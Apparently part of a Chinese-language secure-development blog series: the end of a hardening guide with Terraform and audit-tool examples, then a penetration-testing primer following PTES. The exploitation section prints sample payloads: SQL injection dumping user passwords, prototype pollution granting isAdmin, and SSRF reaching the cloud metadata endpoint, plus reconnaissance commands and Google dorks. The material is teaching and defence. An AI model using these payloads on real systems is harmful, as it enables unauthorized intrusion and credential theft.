# ═══════════════════════════════════════
resource "aws_s3_bucket" "app_data" {
  bucket = "myapp-data-tw"
}

# ✅ 封鎖所有公開存取
resource "aws_s3_bucket_public_access_block" "app_data" {
  bucket = aws_s3_bucket.app_data.id

  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

# ✅ 啟用伺服器端加密
resource "aws_s3_bucket_server_side_encryption_configuration" "app_data" {
  bucket = aws_s3_bucket.app_data.id

  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm = "aws:kms"
    }
    bucket_key_enabled = true
  }
}

# ✅ 啟用版本控制(防止意外刪除)
resource "aws_s3_bucket_versioning" "app_data" {
  bucket = aws_s3_bucket.app_data.id
  versioning_configuration {
    status = "Enabled"
  }
}

# ═══════════════════════════════════════
# 2. Security Group — 最小開放原則
# ═══════════════════════════════════════
resource "aws_security_group" "app_sg" {
  name        = "app-security-group"
  description = "Application security group"
  vpc_id      = aws_vpc.main.id

  # ✅ 只允許 HTTPS 入站
  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
    description = "Allow HTTPS from anywhere"
  }

  # ✅ SSH 只允許公司 VPN IP
  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["203.0.113.0/24"]   # 公司 VPN IP 範圍
    description = "Allow SSH from company VPN only"
  }

  # ✅ 出站只允許必要的
  egress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
    description = "Allow HTTPS outbound"
  }

  egress {
    from_port   = 5432
    to_port     = 5432
    protocol    = "tcp"
    cidr_blocks = [aws_subnet.private.cidr_block]
    description = "Allow PostgreSQL to private subnet"
  }

  tags = {
    Name = "app-sg"
  }
}

# ═══════════════════════════════════════
# 3. RDS — 資料庫安全設定
# ═══════════════════════════════════════
resource "aws_db_instance" "main" {
  identifier     = "myapp-db"
  engine         = "postgres"
  engine_version = "16.1"
  instance_class = "db.t3.medium"

  # ✅ 不可公開存取
  publicly_accessible = false

  # ✅ 啟用加密
  storage_encrypted = true

  # ✅ 啟用自動備份
  backup_retention_period = 7

  # ✅ 啟用刪除保護
  deletion_protection = true

  # ✅ 放在 Private Subnet
  db_subnet_group_name = aws_db_subnet_group.private.name

  # ✅ 啟用效能監控
  monitoring_interval = 60
}

系統強化 Checklist:你的部署前檢查清單

每次部署前,用這份 Checklist 確認系統強化的項目是否都有照顧到:

## 系統強化部署前 Checklist

### 作業系統層級
- [ ] 系統已更新至最新安全版本?
- [ ] 自動安全更新已啟用?
- [ ] 不必要的服務已停用?(FTP、Telnet、SNMP、CUPS 等)
- [ ] 防火牆已設定,預設拒絕入站?
- [ ] SSH 已禁用 root 登入、禁用密碼認證?
- [ ] 應用程式使用專用的非 root 帳號執行?
- [ ] 檔案系統權限已適當設定?(敏感設定檔權限 600/640)

### 應用程式層級
- [ ] X-Powered-By Header 已移除?
- [ ] Debug 模式已關閉?
- [ ] 錯誤訊息不洩露內部資訊?
- [ ] HTTP 安全標頭已設定?(CSP、HSTS、X-Frame-Options 等)
- [ ] CORS 只允許白名單域名?
- [ ] 速率限制已啟用?
- [ ] TLS 1.2 以上且使用安全的加密套件?

### 容器環境
- [ ] 容器不以 root 使用者執行?
- [ ] 使用特定版本的映像(非 latest)?
- [ ] 映像已通過漏洞掃描(Trivy / Snyk)?
- [ ] 使用多階段建置減少映像大小?
- [ ] 檔案系統設為唯讀?(read_only: true)
- [ ] Linux Capabilities 已最小化?(cap_drop: ALL)
- [ ] 容器間的網路已適當隔離?
- [ ] 健康檢查已設定?

### 雲端環境
- [ ] S3 / Storage 封鎖公開存取?
- [ ] IAM 權限遵循最小權限原則?
- [ ] Security Group 不允許 0.0.0.0/0 SSH?
- [ ] 資料庫不可公開存取?
- [ ] CloudTrail / 稽核日誌已啟用?
- [ ] 所有儲存已啟用加密?
- [ ] MFA 已對所有使用者啟用?
- [ ] 定期審查 IAM 權限和安全設定?

自動化強化:讓工具幫你檢查

手動逐條檢查 CIS Benchmark 太費時了。好消息是,有很多工具可以幫你自動化這個流程:

工具 用途 費用 適合場景
CIS-CAT Pro 依據 CIS Benchmark 自動評估 會員制 企業級合規需求
Trivy 容器映像 + IaC 漏洞掃描 免費開源 容器和 Kubernetes
Lynis Linux 系統安全審計 免費(社群版) 伺服器強化檢查
ScoutSuite 多雲安全設定審計 免費開源 AWS / Azure / GCP
Docker Bench Docker 安全最佳實踐檢查 免費開源 Docker 環境
kube-bench Kubernetes CIS Benchmark 檢查 免費開源 Kubernetes 環境
Prowler AWS 安全最佳實踐檢查 免費開源 AWS 環境

快速使用範例

# ═══ Lynis:Linux 系統安全審計 ═══
# 安裝
sudo apt install lynis -y

# 執行完整系統審計
sudo lynis audit system

# 結果會顯示:
# - 安全評分(Hardening Index)
# - 需要修復的項目
# - 建議的改善措施

# ═══ Docker Bench:Docker 安全檢查 ═══
# 直接用 Docker 跑
docker run --rm --net host --pid host \
  --userns host --cap-add audit_control \
  -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
  -v /var/lib:/var/lib:ro \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -v /etc:/etc:ro \
  docker/docker-bench-security

# ═══ Prowler:AWS 安全檢查 ═══
# 安裝
pip install prowler --break-system-packages

# 執行 CIS AWS Foundations Benchmark 檢查
prowler aws --compliance cis_2.0_aws

整合進 CI/CD Pipeline

還記得我們在前幾篇設定的安全 Pipeline 嗎?現在可以把系統強化的檢查也加進去:

# .github/workflows/security.yml — 加入容器和 IaC 掃描
  # ═══════════════════════════════════════
  # 容器映像安全掃描
  # ═══════════════════════════════════════
  container-hardening:
    name: 🐳 容器安全強化檢查
    runs-on: ubuntu-latest
    if: hashFiles('Dockerfile') != ''
    steps:
      - uses: actions/checkout@v4

      - name: 建置 Docker 映像
        run: docker build -t my-app:scan .

      - name: Trivy 容器漏洞掃描
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'my-app:scan'
          format: 'table'
          exit-code: '1'
          severity: 'HIGH,CRITICAL'
          ignore-unfixed: true

      - name: Dockerfile 最佳實踐檢查(Hadolint)
        uses: hadolint/hadolint-action@v3.1.0
        with:
          dockerfile: Dockerfile

  # ═══════════════════════════════════════
  # 基礎設施即程式碼(IaC)安全掃描
  # ═══════════════════════════════════════
  iac-scan:
    name: 🏗️ 基礎設施安全掃描
    runs-on: ubuntu-latest
    if: hashFiles('**/*.tf') != '' || hashFiles('docker-compose*.yml') != ''
    steps:
      - uses: actions/checkout@v4

      - name: Trivy IaC 掃描
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'config'
          scan-ref: '.'
          format: 'table'
          exit-code: '1'
          severity: 'HIGH,CRITICAL'

團隊落地建議:不要想一次做完,分階段來

建議一:先做風險最高的三件事

如果你的團隊是第一次接觸系統強化,不要被 CIS Benchmark 幾百頁的文件嚇到。先做這三件事,就能大幅降低風險:

  1. 更新系統和套件:把已知的漏洞修掉
  2. 關閉不必要的 Port 和服務:減少攻擊面
  3. 不用 root 執行應用程式:限制入侵後的影響範圍

建議二:建立「黃金映像(Golden Image)」

不要每次部署都從零開始強化。把已經強化好的系統設定打包成映像,之後的新伺服器都從這個映像開始:

強化好的 Ubuntu + Node.js + 安全設定
  │
  ├─ 打包成 AMI(AWS)或 Docker Base Image
  │
  ├─ 所有新環境都從這個映像起步
  │
  └─ 定期更新映像(每月一次)

建議三:定期複檢,不是做一次就好

系統強化不是一次性的工作。新的漏洞會被發現、CIS Benchmark 會更新、你的系統設定可能在維護過程中被改動。建議每季做一次全面的安全設定複檢。

## 定期複檢排程建議

| 頻率 | 檢查項目 | 工具 |
|------|---------|------|
| 每天 | 容器映像漏洞掃描 | Trivy(CI/CD 自動化) |
| 每週 | 系統安全更新 | unattended-upgrades |
| 每月 | 完整安全審計 | Lynis / Docker Bench |
| 每季 | CIS Benchmark 合規檢查 | CIS-CAT / Prowler |
| 每年 | 全面安全架構審查 | 搭配滲透測試結果 |

常見問題 FAQ

Q1:系統強化跟滲透測試有什麼差別?

系統強化是「主動防禦」——你照著最佳實踐把設定調好,把門窗關上。滲透測試是「被動驗證」——你請人假裝小偷來攻擊,看還有哪裡沒關好。兩者是互補的:先做強化(關門窗),再做滲透測試(請人來試開門),最後根據測試結果再強化。

Q2:我們用的是 PaaS(如 Heroku、Render),還需要做系統強化嗎?

PaaS 幫你處理了作業系統和基礎設施的強化,但應用程式層級的強化還是你的責任。HTTP 安全標頭、速率限制、錯誤處理、環境變數管理——這些不管你部署在哪裡都要做。另外,PaaS 的設定本身也有安全選項需要檢查,例如:是否強制 HTTPS、是否限制 IP 白名單、日誌是否保留足夠天數。

Q3:CIS Benchmark 要做到 100% 合規嗎?

不需要,也不建議追求 100%。CIS Benchmark 是建議,不是法律。有些建議可能跟你的業務需求衝突(例如你的系統就是需要允許某些 Port)。重點是:你清楚知道每一條你沒有遵守的建議,並且有合理的理由。把這些「例外」記錄下來,作為安全決策的依據。

Q4:團隊沒有專職的 DevOps 或 SRE,誰來做系統強化?

在小團隊裡,系統強化可以是後端工程師的責任之一。用自動化工具(如 Lynis、Docker Bench)可以大幅降低門檻。建議指定一位 Security Champion 負責定期執行掃描、追蹤修復進度。如果預算允許,也可以考慮導入 CIS Hardened Images(已經預先強化好的雲端映像),直接省下大部分手動設定的工作。


結語:安全的最後一哩路,往往藏在設定裡

回到蓋房子的比喻。你花了幾年設計、施工、裝修,終於蓋好了一棟漂亮的房子。但如果交屋那天你不去檢查每一扇窗戶是否能鎖好、每一道門的門鎖是否正常、火災警報器的電池有沒有裝——那所有的努力都可能功虧一簣。

系統強化就是那個「交屋驗收」的步驟。它不華麗、不刺激、不像寫程式那麼有成就感,但它是安全的最後一哩路

在 SSDLC 的旅程中,我們從安全需求出發,經過安全設計、安全編碼、安全測試,現在來到了部署與維運。你的程式碼已經足夠安全了,現在讓它跑在同樣安全的環境上吧。

下一篇,我們會繼續深入部署與維運階段的另一個重要主題——安全監控與告警:建立你的資安儀表板。系統上線後,怎麼知道有沒有人在敲你的門窗?怎麼第一時間發現異常?我們下次見。


延伸閱讀

[安全測試] 004 滲透測試入門完整指南:從攻擊者角度看系統|PTES 流程與資安廠商合作實戰

「你不需要成為駭客,才能理解駭客怎麼思考。但你必須理解駭客怎麼思考,才能真正保護你的系統。」


一、滲透測試是什麼?為什麼開發者也需要懂?

想像你蓋好了一棟房子。你裝了門鎖、窗戶有柵欄、後院有圍牆。你覺得很安全,但你怎麼知道這些防護「真的有效」?

最直接的方法——請一個專業的「小偷」來試試看。

他會繞著你的房子走一圈,檢查哪扇窗戶沒鎖、哪面牆可以翻過去、門鎖能不能被撬開。然後他把發現的所有「入侵路徑」記錄下來,告訴你該怎麼修。

這就是滲透測試(Penetration Testing,簡稱 Pentest)

在軟體世界裡,滲透測試就是請資安專家用攻擊者的手法,在你授權的範圍內,嘗試入侵你的系統,找出真實存在的漏洞。它不是跑個掃描工具就結束的事,而是一場有策略、有方法論的「模擬攻擊」。

在 SSDLC 的七大階段中,滲透測試屬於階段四:安全驗證(Verification)。前面幾個階段,我們學了怎麼定義安全需求(Abuse Case)、怎麼設計安全架構(STRIDE 威脅建模)、怎麼寫安全的程式碼(輸入驗證、OWASP Top 10 防禦)。現在,是時候來驗證——你之前做的那些防護,真的擋得住攻擊嗎?

飛飛觀點:
很多團隊把滲透測試當成「交差用的報告」——上線前找廠商掃一掃、出份報告給老闆看就好。但滲透測試的真正價值不在那份報告,而在於讓你用攻擊者的眼光重新認識自己的系統。當你看到測試報告上寫著「透過修改 URL 參數就能看到別人的訂單」,那個衝擊感,比讀十本資安書都有效。


二、滲透測試 vs. 其他安全測試:搞清楚差別

在 SSDLC 的安全驗證階段,有好幾種測試方式。很多新手會搞混,以為「跑了 OWASP ZAP 就等於做了滲透測試」。讓我們用蓋房子的比喻來釐清:

測試方式 蓋房子的比喻 做什麼 誰來做 何時做
SAST(靜態分析) 檢查建材有沒有瑕疵(X 光檢查) 不執行程式,直接掃描原始碼找漏洞 工具自動化 每次 Commit
DAST(動態分析) 從外面推推門窗,看有沒有鬆的 對運行中的系統發送請求,找常見漏洞 工具自動化 每次部署
滲透測試 請專業小偷真的來闖看看 由人類專家模擬真實攻擊,串連多個弱點 資安專家(人工) 上線前 / 定期
紅隊演練 不只測房子,連保全反應速度都測 模擬完整的 APT 攻擊,包含社交工程 專業紅隊 年度

關鍵差異在於:SAST 和 DAST 是工具驅動的自動化掃描,能快速找出已知模式的漏洞;而滲透測試是人腦驅動的創造性攻擊,能發現自動化工具找不到的邏輯漏洞、串連多個低風險弱點造成高風險攻擊。

舉個例子:自動化掃描可能發現「這個 API 沒有做速率限制」,但只有滲透測試者才會想到「先用忘記密碼功能確認帳號存在,再對確認存在的帳號進行暴力破解,最後用破解的帳號去修改付款資訊」——這種攻擊鏈(Attack Chain)是工具看不到的。


三、滲透測試的類型:黑箱、白箱、灰箱

根據測試者在開始前擁有多少系統資訊,滲透測試分成三種類型:

類型 測試者知道什麼 蓋房子比喻 優點 缺點
黑箱測試 什麼都不知道,跟真正的外部攻擊者一樣 小偷只能在街上看你家外觀 最接近真實攻擊場景 耗時最長、可能遺漏內部漏洞
白箱測試 擁有完整資訊:原始碼、架構圖、帳號 小偷拿到了你家的建築藍圖和鑰匙副本 最全面、覆蓋率最高 成本較高、不完全模擬真實攻擊
灰箱測試 擁有部分資訊:如一般使用者帳號、API 文件 小偷是你家的訪客,知道一些內部格局 效率與真實度的平衡 最常見的實務選擇

飛飛觀點:
對大多數台灣中小型團隊來說,灰箱測試是最務實的選擇。給測試者一組一般使用者帳號和 API 文件,既能節省「摸索系統」的時間,又能測試出從已登入使用者角度發動的攻擊(如越權存取、權限提升)。純黑箱聽起來很酷,但可能花了一大半時間在做資訊收集,實際打到的面反而不夠廣。


四、滲透測試的標準流程:PTES 七階段方法論

滲透測試不是「隨便亂打」。業界有成熟的方法論來確保測試的系統化和可重複性。最廣泛使用的是 PTES(Penetration Testing Execution Standard),它把滲透測試分成七個階段:

階段一:前期互動(Pre-engagement Interactions)

在動手之前,先把規則說清楚。

這個階段就像你請人來測防盜系統之前,先簽好合約:可以測哪些範圍、不能碰什麼、時間多長、發現重大漏洞要怎麼通報。

關鍵產出:

## 滲透測試授權書 / 範圍定義(範例)

### 測試範圍(Scope)
- ✅ 可測試:api.example.com、www.example.com
- ✅ 可測試:iOS App v3.2、Android App v3.2
- ❌ 不可測試:第三方支付閘道(需另行授權)
- ❌ 不可測試:正式資料庫(使用測試環境)

### 測試類型
- 灰箱測試(提供測試帳號與 API 文件)

### 時程
- 測試期間:2026/03/01 ~ 2026/03/14
- 報告交付:2026/03/21

### 緊急通報機制
- 發現 CVSS ≥ 9.0 的漏洞:4 小時內通知窗口
- 發現資料洩露:立即電話通知 + Email

### 限制條件
- 不可進行 DoS 攻擊
- 不可對真實用戶資料進行操作
- 不可進行社交工程攻擊(除非另行授權)

為什麼這個階段很重要?

台灣曾有案例,測試團隊在未明確約定範圍的情況下,意外打到了合作廠商的系統,引發法律糾紛。所以——沒有授權書,不開始測試。


階段二:情報收集(Intelligence Gathering)

在發動攻擊之前,先了解你的目標。

這個階段的目的是盡可能多地蒐集目標系統的公開資訊,就像小偷踩點一樣——觀察房子周圍的環境、作息規律、有沒有監視器。

常見的情報收集方式:

# 被動收集(不直接接觸目標)

# 1. DNS 查詢 — 找出子網域
dig example.com ANY
# 或使用子網域枚舉工具
# subfinder、amass 等

# 2. 查看 HTTP Response Headers — 識別技術棧
curl -I https://www.example.com

# 可能看到:
# X-Powered-By: Express  ← Node.js!
# Server: nginx/1.18.0
# Set-Cookie: connect.sid  ← Express Session

# 3. 查看 JavaScript 檔案 — 找 API Endpoint
# 在瀏覽器開發者工具的 Sources 頁面
# 搜尋 "/api/" 可以找到前端呼叫的 API 路徑

# 4. Google Dork — 找敏感檔案
# site:example.com filetype:pdf
# site:example.com inurl:admin
# site:example.com "password" filetype:log

主動收集(直接與目標互動):

# 1. Port Scanning — 找出開放的服務
nmap -sV -sC example.com

# 2. 目錄掃描 — 找隱藏的路徑
# dirsearch、gobuster 等工具
# 可能發現 /admin、/.env、/backup 等

# 3. 技術指紋識別
# 安裝 Wappalyzer 瀏覽器擴充套件
# 自動識別網站使用的框架、CMS、伺服器

飛飛觀點:
情報收集是滲透測試中最被低估的階段。很多新手急著「開打」,跳過這一步。但資深測試者會告訴你——你花在收集情報的時間越多,後面攻擊的效率就越高。就像飛飛在 JSDC 2025 演講中提到的,光是看到 <code>X-Powered-By: Express</code>,就能判斷目標是 Node.js,接下來可以針對 Prototype Pollution、SSTI、不安全的反序列化等 Node.js 特有漏洞進行測試。


階段三:威脅建模(Threat Modeling)

根據收集到的情報,規劃攻擊策略。

這個階段就是我們在 SSDLC 階段二學過的 STRIDE 威脅建模,但方向相反——之前是防守方畫 DFD 找弱點,現在是攻擊方根據情報決定「先打哪裡」。

攻擊優先順序的判斷依據:

考量因素 說明
攻擊面大小 哪個 API Endpoint 暴露最多功能?
預期影響 打到這個點能造成多大損害?(如:取得管理員權限 > 取得一般用戶資料)
預期難度 這個漏洞利用起來容易嗎?
技術棧特性 Node.js 有 Prototype Pollution、PHP 有反序列化、Java 有 Log4Shell

階段四:漏洞分析(Vulnerability Analysis)

開始尋找具體的漏洞。

結合自動化工具和手動測試,對目標系統進行全面的弱點掃描與分析。

自動化掃描工具:

工具 類型 說明 費用
OWASP ZAP DAST 開源免費,功能強大,OWASP 官方出品 免費
Burp Suite DAST 業界標準的 Web 滲透測試工具 社群版免費 / 專業版付費
Nmap 網路掃描 Port Scanning、服務識別 免費
Nuclei 漏洞掃描 基於模板的快速漏洞掃描 免費
sqlmap 自動化 SQLi 自動偵測和利用 SQL Injection 免費

手動測試重點(依 OWASP Testing Guide):

□ 認證測試:暴力破解、預設帳密、Session 管理
□ 授權測試:越權存取(IDOR)、權限提升
□ 輸入驗證:SQL Injection、XSS、SSTI、Command Injection
□ 商業邏輯:金額竄改、流程繞過、重複操作
□ 錯誤處理:錯誤訊息洩露、Stack Trace 外洩
□ 加密傳輸:TLS 版本、憑證驗證、敏感資料明文傳輸
□ API 安全:Mass Assignment、Rate Limiting、認證繞過

階段五:漏洞利用(Exploitation)

真的動手「打」進去。

這是最刺激的階段——驗證前面發現的漏洞是否真的可以被利用,以及能造成多大的影響。

重要原則:滲透測試不是破壞測試。

目的是證明漏洞存在並評估影響,不是把系統搞壞。就像驗證門鎖可以被撬開,只要打開門就好,不需要把門拆下來。

常見的漏洞利用場景(以 Node.js 為例):

以下範例改編自飛飛在 JSDC 2025 的演講實戰案例,所有測試均在授權環境中進行:

// 場景一:SQL Injection → 取得資料庫內容
// 漏洞程式碼(不安全的寫法)
const query = <code class="kb-btn">SELECT * FROM articles WHERE id = ${req.params.id}</code>;

// 攻擊者可以透過 UNION SELECT 取得其他表的資料
// 例如:/api/articles/0 UNION SELECT null,username||':'||password,null,null,null,null FROM users--

// 場景二:Prototype Pollution → 權限提升
// 漏洞程式碼(不安全的 merge 函數)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// 攻擊者提交:{"__proto__": {"isAdmin": true}}
// 之後所有新建的物件都會繼承 isAdmin: true

// 場景三:SSRF → 存取雲端 Metadata
// 漏洞程式碼(直接請求用戶提供的 URL)
const response = await axios.get(req.query.url);

// 攻擊者可以讓伺服器去請求內部服務或雲端 Metadata
// 例如:/fetch?url=http://169.254.169.254/latest/meta-data/
// 可能取得 AWS IAM Token,進而控制雲端資源

⚠️ 重要提醒: 以上所有攻擊手法僅供學習,請務必在授權的測試環境中練習。未經授權的滲透測試是違法行為。


階段六:後滲透(Post Exploitation)

進去之後,評估能走多遠。

成功利用一個漏洞後,測試者會嘗試在系統內部進一步探索:能不能存取更多資料?能不能跳到其他系統?能不能取得更高的權限?

這個階段的目的是評估實際的商業影響。例如:透過 SSRF 取得 AWS Token 後,測試者會檢查這個 Token 有哪些權限——能不能讀 S3 Bucket?能不能啟動 EC2?能不能存取 RDS 資料庫?

## 影響評估範例

### 漏洞:SSRF → AWS Metadata 洩露
- 取得的 IAM Role:WebAppRole
- 可存取的 S3 Bucket:3 個(含用戶上傳的身分證照片)
- 可存取的 RDS:唯讀權限(含完整用戶資料表)
- 預估影響:約 50 萬筆個資可能外洩
- 商業損失:可能面臨個資法最高 NT$1,500 萬罰鍰

階段七:報告撰寫(Reporting)

把發現整理成清楚的報告。

這是整個滲透測試中對甲方最有價值的產出。好的報告不只列出漏洞,還要讓不同角色的人看得懂:

報告的三層結構:

章節 給誰看 內容
執行摘要 老闆 / 主管 整體風險等級、重大發現、建議優先處理項目(不超過 2 頁)
技術發現 開發者 / 資安團隊 每個漏洞的詳細描述、重現步驟、影響範圍、修復建議
附錄 技術人員 原始掃描報告、測試日誌、工具清單

單一漏洞的報告格式(範例):

## VULN-001:水平越權存取(IDOR)

### 風險等級:高(CVSS 7.5)

### 漏洞描述
退貨查詢 API(GET /api/returns/{id})未驗證請求者與退貨申請的所有權關係。
已登入的使用者只要修改 URL 中的退貨編號,即可查看其他使用者的退貨資料,
包含姓名、電話、地址與退貨商品明細。

### 重現步驟
1. 以使用者 A 的帳號登入,取得 JWT Token
2. 查看使用者 A 自己的退貨申請:GET /api/returns/R-5001(正常回傳)
3. 將 URL 中的 ID 改為 R-5002(使用者 B 的退貨)
4. 系統回傳使用者 B 的完整退貨資料(包含個資)

### 影響評估
- 約 12,000 筆退貨紀錄可被任意已登入用戶存取
- 洩露的資料包含姓名、電話、地址(屬個資法保護範圍)
- 可能違反個資法第 27 條安全維護義務

### 修復建議
在 API Controller 中加入所有權驗證:

​```javascript
// 修復前
app.get('/api/returns/:id', auth, async (req, res) => {
  const returnRequest = await Return.findById(req.params.id);
  res.json(returnRequest);
});

// 修復後
app.get('/api/returns/:id', auth, async (req, res) => {
  const returnRequest = await Return.findById(req.params.id);
  if (returnRequest.userId !== req.user.id) {
    return res.status(403).json({ error: 'Access denied' });
  }
  res.json(returnRequest);
});
​```

### 對應標準
- OWASP Top 10 2025:A01 Broken Access Control
- CWE-639:Authorization Bypass Through User-Controlled Key

五、滲透測試的發現都在找什麼?台灣常見漏洞 Top 5

根據台灣資安廠商的公開報告和飛飛的實務觀察,以下是台灣 Web 應用最常被發現的五類漏洞:

排名 漏洞類型 佔比 常見場景 難修指數
1 存取控制缺陷(Broken Access Control) ~30% IDOR、越權操作、缺少角色驗證 ⭐⭐
2 注入攻擊(Injection) ~20% SQL Injection、XSS、Command Injection ⭐⭐
3 安全設定錯誤(Security Misconfiguration) ~18% 預設帳密、多餘的 HTTP Header、Debug 模式未關
4 敏感資料洩露(Sensitive Data Exposure) ~15% API 回傳密碼欄位、錯誤訊息洩漏技術細節 ⭐⭐
5 認證機制缺陷(Authentication Failures) ~12% 缺少帳號鎖定、JWT 未驗證簽章、Session 未過期 ⭐⭐⭐

飛飛觀點:
你會發現,這些漏洞大多不是什麼高深的 0-day 攻擊,而是最基本的安全實踐沒做好。排名第一的「存取控制缺陷」,說穿了就是沒有在後端檢查「這個人有沒有權限做這件事」。這也是為什麼我們在前面的文章中反覆強調——安全需求要從設計階段就定義清楚,不能等到滲透測試才發現。


六、如何與資安廠商合作:從選商到驗收的完整指南

對大多數台灣團隊來說,滲透測試會委託外部資安廠商執行。以下是合作的完整流程:

6.1 選擇廠商:不是越便宜越好

評估面向 該問的問題 紅色警訊
資質認證 測試人員有 OSCP、CEH、GPEN 等證照嗎? 只有公司品牌,說不出測試人員資歷
測試方法 用什麼方法論?(PTES、OWASP Testing Guide) 只說「我們有專業工具」,無法說明方法論
報告品質 能提供報告範本嗎? 報告只列工具掃描結果,沒有手動測試發現
溝通能力 發現重大漏洞時如何通報? 測試結束才一次性告知所有發現
保密協議 有完善的 NDA 嗎?測試資料如何處理? 含糊帶過資料處理方式
報價透明 報價包含幾人天?幾次複測? 只給一個總價,不說明工時分配

台灣市場的價格參考(2025-2026 年):

測試規模 大致費用 說明
小型網站(5-10 個 API) NT$15 萬 ~ NT$30 萬 3-5 人天
中型系統(20-50 個 API + App) NT$30 萬 ~ NT$80 萬 7-15 人天
大型平台(完整電商 / 金融系統) NT$80 萬 ~ NT$200 萬+ 15-30+ 人天

注意: 以上僅為市場概估,實際費用因廠商、測試深度與範圍而異。

6.2 合作前的準備工作

作為甲方(委託者),你在測試開始前需要準備:

## 甲方準備清單

### 環境準備
- [ ] 準備獨立的測試環境(不要用正式環境!)
- [ ] 測試環境的資料要脫敏(移除或遮蔽真實個資)
- [ ] 確認測試環境與正式環境的架構一致
- [ ] 準備測試帳號(各角色至少各一組)

### 文件準備
- [ ] 系統架構圖(簡易版即可)
- [ ] API 文件(Swagger / Postman Collection)
- [ ] 角色與權限矩陣
- [ ] 上次測試的報告(如有)

### 內部溝通
- [ ] 通知 IT 團隊測試時間,避免被當成真實攻擊
- [ ] 指定窗口人員,負責與廠商溝通
- [ ] 確認緊急通報流程與聯絡方式
- [ ] 確認測試期間的變更凍結(避免測試中改版)

6.3 測試期間的互動

好的合作不是「丟出去就不管」。測試期間建議:

每日站會(15 分鐘):

  • 測試者分享今天測試的範圍和初步發現
  • 甲方回答測試者對系統邏輯的疑問
  • 及時討論是否需要調整測試範圍

緊急通報:

  • 約定 CVSS ≥ 9.0 的漏洞要在 4 小時內通知
  • 發現資料洩露跡象要立即通報

6.4 報告驗收與複測

收到報告後,不是簽收就結束。正確的流程是:

收到報告 → 內部 Review → 確認修復優先序 → 修復漏洞 → 安排複測 → 確認修復完成

修復優先順序建議:

CVSS 分數 風險等級 建議修復時程
9.0 ~ 10.0 嚴重 24 ~ 72 小時內修復
7.0 ~ 8.9 1 ~ 2 週內修復
4.0 ~ 6.9 下個 Sprint 修復
0.1 ~ 3.9 排入 Backlog,定期處理

複測(Retest)的重要性:

很多團隊修了漏洞後就覺得沒事了,但修復不當的情況很常見。例如:修了 SQL Injection 但只做了前端驗證,後端沒改;修了 XSS 但只擋了 <code><script></code>,沒擋 <code><img onerror=…></code>。

複測就是讓廠商回來確認——你修的方法真的有效嗎?

飛飛觀點:
在簽合約時,就要確認報價包含幾次複測。一般至少要有一次免費複測。如果廠商說「複測另外收費」,建議把複測費用也納入總預算中,因為不做複測的滲透測試只完成了一半。


七、開發者也能做的「類滲透測試」:自我健檢

不是每次都需要花大錢請外部廠商。開發者可以用以下工具和方法,在日常開發中進行基本的安全檢測:

7.1 免費工具推薦

工具 用途 難度 推薦指數
OWASP ZAP 自動化 Web 掃描 ⭐⭐ 必裝
Burp Suite Community 手動 Web 滲透測試 ⭐⭐⭐ 必裝
nmap 網路掃描與服務識別 ⭐⭐ 推薦
sqlmap SQL Injection 自動化 ⭐⭐ 針對性使用
Nuclei 基於模板的漏洞掃描 ⭐⭐ 推薦
npm audit Node.js 套件漏洞檢查 必用

7.2 快速安全自檢 Checklist

每次部署前,花 30 分鐘走一遍:

## 部署前安全自檢

### 認證與授權
- [ ] 所有 API Endpoint 都有認證機制?
- [ ] 敏感操作有做權限驗證?(不只檢查是否登入,還檢查角色)
- [ ] 不同使用者無法互相存取資料?(改 ID 試試看)

### 輸入與輸出
- [ ] 所有使用者輸入都有在後端做驗證?
- [ ] API 回應中沒有多餘的欄位?(如 password、token)
- [ ] 錯誤訊息沒有洩漏系統資訊?(如 SQL 錯誤、Stack Trace)

### 設定安全
- [ ] Debug 模式已關閉?
- [ ] X-Powered-By Header 已移除?
- [ ] CORS 設定是否過於寬鬆?(不要用 <code>*</code>)
- [ ] HTTPS 是否強制啟用?

### 依賴套件
- [ ] npm audit / snyk test 沒有高風險漏洞?
- [ ] 沒有使用已棄用的套件?

### 機敏資料
- [ ] 密碼有用 bcrypt / Argon2 雜湊?
- [ ] API Key、Secret 沒有寫死在程式碼中?
- [ ] 日誌中沒有記錄密碼或 Token?

7.3 推薦練習平台

想提升滲透測試能力,最好的方式就是實際練習:

平台 特色 適合對象 費用
OWASP Juice Shop 故意有漏洞的購物網站,關卡式 初學者 免費
OWASP WebGoat 互動式教學,邊學邊打 初學者 免費
PortSwigger Web Security Academy 系統化的 Web 安全課程 + Lab 初中級 免費
HackTheBox 各種難度的靶機 中高級 基礎免費 / 進階付費
nodelab.feifei.tw Node.js 專屬靶站,飛飛開發 初中級(Node.js 開發者) 免費

八、將滲透測試融入 SSDLC:不只是上線前的最後一關

很多團隊把滲透測試當成「上線前的最後一關」,但在成熟的 SSDLC 流程中,滲透測試的思維應該貫穿整個開發週期:

SSDLC 階段 滲透測試思維的應用
安全需求 寫 Abuse Case 時,就是用攻擊者角度思考
安全設計 做 STRIDE 威脅建模時,就是在模擬攻擊路徑
安全開發 寫程式時主動測試自己的輸入驗證是否可被繞過
安全測試 正式的滲透測試 + SAST/DAST 自動化掃描
安全部署 安全設定檢查、環境強化、部署前驗證
安全維運 持續監控、定期複測、漏洞管理
安全教育 將測試發現轉化為團隊知識,避免同類漏洞重複出現

建議的測試頻率:

測試類型 頻率 適用場景
SAST 靜態掃描 每次 Commit / PR CI/CD 自動化
DAST 動態掃描 每次部署到測試環境 CI/CD 自動化
開發者自檢 每個 Sprint 使用 Checklist
外部滲透測試 每年 1-2 次 / 重大改版前 委託資安廠商
紅隊演練 每年 1 次 成熟度較高的組織

九、常見問題 FAQ

Q1:我們的系統很小,也需要做滲透測試嗎?

系統大小跟是否需要滲透測試沒有絕對關係。關鍵是你的系統處理什麼資料。如果你的系統有處理個資(姓名、Email、電話)、金流、或是使用者的敏感資料,不論規模大小,都建議至少做過一次基本的安全測試。

